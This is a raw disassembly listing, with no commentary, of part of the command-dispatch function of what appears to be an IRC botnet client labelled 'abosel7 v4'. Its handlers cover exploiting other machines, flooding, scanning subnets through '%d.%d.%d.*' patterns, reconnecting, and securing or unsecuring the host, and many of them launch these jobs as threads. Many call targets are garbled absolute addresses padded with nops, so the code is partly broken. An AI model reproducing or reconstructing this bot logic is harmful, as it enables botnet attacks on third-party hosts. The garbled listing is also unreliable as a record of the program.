		call	sub_41C266
		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		call	near ptr 26B0E28h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		call	near ptr 26A0E98h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		call	near ptr 77E75CB5h
		nop


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aSbrsfg	; "sbrsfg"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	near ptr 71AB157Eh
		nop
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
